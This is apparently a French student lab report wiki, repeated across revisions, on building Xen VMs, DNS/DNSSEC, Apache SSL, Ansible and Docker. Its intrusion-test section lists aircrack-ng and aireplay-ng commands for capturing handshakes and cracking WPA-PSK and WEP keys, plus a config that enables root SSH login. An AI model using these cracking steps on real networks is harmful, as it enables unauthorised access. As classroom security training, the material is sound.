Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

TP sysres IMA5sc 2019/2020 G4

2019-12-11T10:26:53Z

Zbriois : /* Serveur DNS */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Cordouan on installe bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre bind9 :
service bind9 restart

En cas d'erreur on a accès au log dans /var/log/daemon.log

Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site
IP address : 193.48.57.180

C'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2: ns6.gandi.net

===Serveur Apache===

Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options :
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclu alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
on signe les enregistrements de la zone en executant la commandde suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
on communique à ganid.net la parti publique de nos clé (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélection l'algorithme rsaha1). on le fait pour KSK et ZSK

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
# export http_proxy=http://proxy.plil.fr:3128
# export https_proxy=http://proxy.plil.fr:3128
# xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # = adresse de private-chlamydiae + 10
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 193.48.57.180 # l'adresse de la VM principale
address 192.168.0.4

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===

Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossier , un dossier files contenant les fichiers ( .conf,motd,etc) et un dossier tasks ou il y aura nos playbook

===== Motd =====

Dans le dossier tasks créer un fichier main.yml:

- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd présent dans common/files dans le etc/motd de machine à qui on applique le rôle.

Dans le dossier Files on crée un fichier motd ou l'on met notre message.

===== NTP =====

Pour le serveur de temps dans le fichier main.yml on ajout :

- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:

server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Sur la machine secondaire:
- on crée notre index.html (basique)
- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

====Configuration de vos serveurs internes====
====Equilibreur de charge====

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

TP sysres IMA5sc 2019/2020 G4

2019-12-11T10:24:57Z

Zbriois : /* Installation des systèmes d’exploitation: machine virtuelle Xen */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Cordouan on installe de bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 rajoute automatiquement le nom du domaine

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre serveur bind9 :
service bind9 restart

En cas d'erreur on a accés au log dans /var/log/daemon.log

Sur gandi.net dans votre domain dans l'onglet glue records ajouté :
name : ns.chlamydiae.site
IP address : 193.48.57.180

c'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2 : ns6.gandi.net

===Serveur Apache===

Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options :
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclu alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
on signe les enregistrements de la zone en executant la commandde suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
on communique à ganid.net la parti publique de nos clé (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélection l'algorithme rsaha1). on le fait pour KSK et ZSK

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
# export http_proxy=http://proxy.plil.fr:3128
# export https_proxy=http://proxy.plil.fr:3128
# xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # = adresse de private-chlamydiae + 10
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 193.48.57.180 # l'adresse de la VM principale
address 192.168.0.4

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===

Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossier , un dossier files contenant les fichiers ( .conf,motd,etc) et un dossier tasks ou il y aura nos playbook

===== Motd =====

Dans le dossier tasks créer un fichier main.yml:

- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd présent dans common/files dans le etc/motd de machine à qui on applique le rôle.

Dans le dossier Files on crée un fichier motd ou l'on met notre message.

===== NTP =====

Pour le serveur de temps dans le fichier main.yml on ajout :

- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:

server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Sur la machine secondaire:
- on crée notre index.html (basique)
- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

====Configuration de vos serveurs internes====
====Equilibreur de charge====

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

